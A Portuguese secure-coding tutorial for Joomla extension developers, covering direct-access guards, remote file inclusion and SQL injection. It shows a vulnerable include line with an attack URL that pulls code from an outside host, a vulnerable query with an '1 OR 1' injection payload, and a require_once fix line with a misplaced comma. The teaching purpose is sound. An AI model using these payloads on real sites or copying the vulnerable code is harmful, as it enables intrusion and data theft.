Aldeia Numaboa

  • Increase font size
  • Default font size
  • Decrease font size
Home Informática Tutoriais e Programação Joomla Medidas de Segurança na programação Joomla

Medidas de Segurança na programação Joomla

Indique esta página Imprimir PDF
(13 votos, média 4.9 de 5)
Índice do Artigo
Medidas de Segurança na programação Joomla
Mais medidas
Todas as páginas

Image Antes de começar a programar componentes, módulos ou mambots/plugins para o Joomla, é bom conhecer algumas precauções que devem ser tomadas para evitar que seu site se torne um alvo fácil para crackers que adoram explorar falhas de segurança.

Evitar acesso direto

O primeiro cuidado que você precisa ter é evitar o acesso direto de componentes, módulos, mambots/plugins, etc. Todo mundo está careca de saber que os componentes do Joomla ficam no diretório /components, os módulos ficam no diretório /modules e os mambots do Joomla 1.0.x ficam no diretório /mambots e no Joomla 1.5 no diretório /plugins. Além disto, os subdiretórios são identificados como com_seuComponente, mod_seuMódulo e assim por diante. Devido ao padrão utilizado, é muito fácil chamar diretamente uma extensão. Basta colocar o seguinte na barra de endereços do navegador:

http://www.seusite.com.br/index.php?option=com_seucomponente

Com esta chamada, se o seu componente estiver programado para executar algum código, podes crer... o código será executado e pode entregar o ouro para os bandidos. Como fazer para evitar o acesso direto? Muito simples. Use o Joomla para fazer o bloqueio.

Quando o Joomla é inicializado, as variáveis _VALID_MOS (nas versões 1.0.x) ou _JEXEC (na versão 1.5) também são inicializadas e só serão reconhecidas se o próprio Joomla fizer a chamada, ou seja, nas chamadas diretas elas são ignoradas. Bingo!!!

Para se proteger das chamadas diretas basta incluir a seguinte linha no início de cada script PHP do Joomla 1.0.x:

defined( '_VALID_MOS' ) or die( 'Acesso bloqueado' );

Se você quiser, pode trocar die( 'Acesso bloqueado' ) por die( 'Vá lamber sabão!' ) sorriso

Na versão 1.5 use:

defined( '_JEXEC' ) or die( 'Área de acesso restrito' );

Evitar inclusão remota de arquivo

Imagine a seguinte linha de código no seu arquivo:

include( $mosConfig_absolute_path . '/components/com_componente/classe.componente.php' );

Agora imagine o cracker tentando ganhar acesso:

http://www.seusite.com.br/components/com_componente/componente.php?
   mosConfig_absolute_path=http://www.sitebichado.com/caca.gif   

Para mal dos pecados, se o caca.gif não for um arquivo de imagem, mas sim um código malicioso, e se o register_globals do PHP estiver habilitado (register_globals ON), o código caca.gif será incorporado e executado no seu servidor. Alerta vermelho! Pode ser qualquer tranqueira perniciosa!

Para evitar este tipo de surpresa, tome um cuidado especial com include, require, include_once, require_once e fopen. Faça estas chamadas apenas através de variáveis:

define( 'SEUBASEPATH', dirname(__FILE__) );
require_once( SEUBASEPATH, '/arquivo_para_incluir.php' );

Evitar injeções SQL

Atacantes podem modificar certas queries inseguras. Neste caso, seu script é executado de forma anômala e pode alterar dados da sua base de dados ou entregar informações preciosas para o atacante. Tome como exemplo a seguinte query:

$valor = $_GET['valor'];
$database->setQuery( "SELECT * FROM #__tabela WHERE id = $valor" );

Aproveitando-se desta falha, um atacante pode fazer uma chamada usando "1 OR 1" e a query ficaria assim:

SELECT * FROM #__tabela WHERE id = 1 OR 1

Como é uma query válida, todos os registros da tabela serão listados! Para evitar este tipo de malandragem, aliás uma das mais manjadas para fazer injeção de SQL, faça o seguinte:

$string = $database->getEscaped( $string );     // para Joomla 1.0.x
$db->getEscaped( $string );                     // para Joomla 1.5

Apesar destes cuidados, os números inteiros ainda podem ser um problema. Por isto, antes de usar qualquer valor inteiro numa query, dê um trato neles:

$valor = intval( $valor );

Confira também todos os valores fornecidos antes de usá-los. Para o Joomla 1.0.x faça:

$valor = mosGetParam( $_POST, 'valor' );
ou
$valor = mosGetParam( $_POST, 'valor', 'default' );

O correspondente no Joomla 1.5 é:

$valor = JRequest::getVar( 'valor', '', 'post', string );
ou
$valor = JRequest::getVar( 'valor', 'default', 'post', string );

Info A função JRequest::getVar retorna valores sem a barra de escape \ em caracteres especiais, como por exemplo \" ou \' (unescaped). Para poder usá-los em queries use

$db->getEscaped( $string );


Atualização Sáb, 12.04.2008 16:37  

Na Aldeia

Há 119 visitantes e 1 usuário registrado online

3290 registros
3 hoje
8 nesta semana
25 neste mês

Boas vindas: Celio

Estatística

Artigos: 1062
Leituras: 6000236
Arquivados: 21
Downloads: 533
Baixados: 170994
Glossário: 1208
Bibliografia: 25
Links: 90

Visitas de onde

Top 5:
Brasil flag 72%Brasil (34941)
Portugal flag 5%Portugal (2181)
EUA flag 4%EUA (1696)
Holanda flag 0%Holanda (234)
Rússia flag 0%Rússia (203)
48205 visitas de 97 países

Hoje:1254
Ontem:2653
No mês:22390
Mês passado:25815
Total:48205
Recorde:3037
No dia:04.03.10
Leituras hoje:7762
Leituras Total:210390
Bots hoje:185
Dados desde:16.02.2010

Login

Kanji da hora




Faça contato







A todos os amigos que me mandaram correntes que prometiam fortuna e felicidade em 2009, comunico que...

Leia Mais